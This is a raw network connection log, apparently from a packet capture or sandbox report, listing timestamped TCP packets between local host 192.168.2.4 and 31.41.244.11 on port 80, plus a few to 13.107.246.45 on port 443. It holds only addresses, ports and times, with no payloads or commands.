Nov 20, 2024 04:08:10.171674967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171674967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171726942 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171742916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171757936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171789885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171802998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171813011 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171819925 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171845913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171864986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171878099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171881914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171899080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.171902895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171927929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171927929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.171947002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180566072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180619955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180629015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180636883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180654049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180665016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180671930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180685997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180710077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180710077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180813074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180828094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180843115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180859089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180882931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180882931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180882931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180882931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180897951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180916071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180916071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180932045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180932045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180951118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180959940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180975914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180975914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180975914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.180993080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.180999041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.181009054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.181018114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.181036949 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.181051016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.181060076 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.181075096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.181090117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.181126118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.181128025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.181157112 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.181180954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.218660116 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.219454050 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.219480038 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.219954967 CET	62434	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.219966888 CET	443	62434	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.220596075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220623016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220647097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220665932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220665932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220674038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220689058 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220690966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220707893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220731974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220750093 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220750093 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220751047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220778942 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220833063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220846891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220863104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220877886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220886946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220894098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220905066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220911980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220920086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220937014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.220942020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220962048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.220980883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221155882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221169949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221191883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221208096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221214056 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221220970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221239090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221256018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221256018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221263885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221281052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221282005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221297979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221302032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221302032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221332073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221349001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221364975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221378088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221391916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221406937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221427917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221427917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221434116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221451044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221453905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221465111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221473932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221482992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221493006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221501112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221544027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221544027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221544981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221575975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221589088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221596956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221641064 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.221649885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221649885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221657038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221678019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221693993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221709967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221725941 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221725941 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221736908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221752882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221751928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221752882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221777916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221777916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.221946001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221971035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.221997023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222007990 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222024918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222034931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222034931 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222033978 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.222043991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222068071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222073078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222086906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222093105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222098112 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.222103119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222115040 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222137928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222145081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222157001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222162008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222187042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222187996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222203970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222208023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222220898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222229958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222239017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222250938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222258091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222275972 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222276926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222296000 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222534895 CET	62435	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:10.222551107 CET	443	62435	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:10.222635031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222740889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222754955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222781897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222780943 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222781897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222799063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222805023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222814083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222843885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222845078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222847939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222861052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222863913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222873926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222887039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222901106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222913027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222920895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222924948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222937107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222949028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222961903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.222961903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222961903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222961903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.222985983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223006964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223010063 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223010063 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223041058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223052979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223087072 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223155975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223181009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223196983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223212004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223218918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223220110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223228931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223244905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223261118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223261118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223294020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223294020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223591089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223607063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223622084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223649979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223650932 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223671913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223674059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223691940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223707914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223722935 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223731041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223747969 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223748922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223764896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223767996 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223789930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223803043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223803043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223804951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223824024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223834991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223846912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223860025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223860025 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223864079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223881006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223893881 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223896980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.223918915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223918915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.223937988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.260270119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260288000 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260310888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260329008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260344028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260360956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260376930 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260391951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.260509968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.260509968 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269222975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269237995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269278049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269311905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269395113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269418955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269434929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269443035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269450903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269462109 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269469976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269484997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269485950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269484997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269509077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269515038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269532919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269534111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269551039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269553900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269572020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269576073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269593954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269604921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269609928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269628048 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269630909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269632101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269643068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269650936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269658089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269668102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269676924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269685030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269694090 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269702911 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269705057 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269718885 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269735098 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269736052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.269752979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.269788980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309122086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309148073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309160948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309206963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309211016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309211016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309221983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309240103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309284925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309284925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309284925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309319973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309334993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309360981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309369087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309377909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309391975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309396029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309412003 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309417009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309417009 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309427977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309437037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309444904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309453964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309462070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309478045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309479952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309479952 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309499979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309515953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309766054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309815884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.309907913 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.309921980 CET	80	62430	31.41.244.11	192.168.2.4
